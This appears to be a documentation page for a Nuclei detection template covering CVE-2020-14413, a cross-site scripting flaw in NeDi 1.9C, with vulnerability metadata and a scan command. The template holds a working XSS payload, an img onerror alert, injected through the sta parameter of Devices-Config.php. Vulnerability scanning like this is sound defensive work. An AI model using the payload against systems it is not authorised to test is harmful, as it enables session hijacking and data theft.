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NeDi 1.9C - Cross-Site Scripting

ID: CVE-2020-14413

Severity: medium

Author: pikpikcu

Tags: cve,cve2020,nedi,xss

Description

Section titled “Description”

NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.

YAML Source

Section titled “YAML Source”
id: CVE-2020-14413


info:
  name: NeDi 1.9C - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14413
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-14413
    cwe-id: CWE-79
    epss-score: 0.00095
    epss-percentile: 0.40142
    cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nedi
    product: nedi
  tags: cve,cve2020,nedi,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502204795716e15422f198b9f959abe79c1f271db69ac0c5fe755a942434113e3a5ca0221009bfffef7cef7708783c3fd22810184559822940423041349af05ea93f8bef5af:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-14413.yaml"

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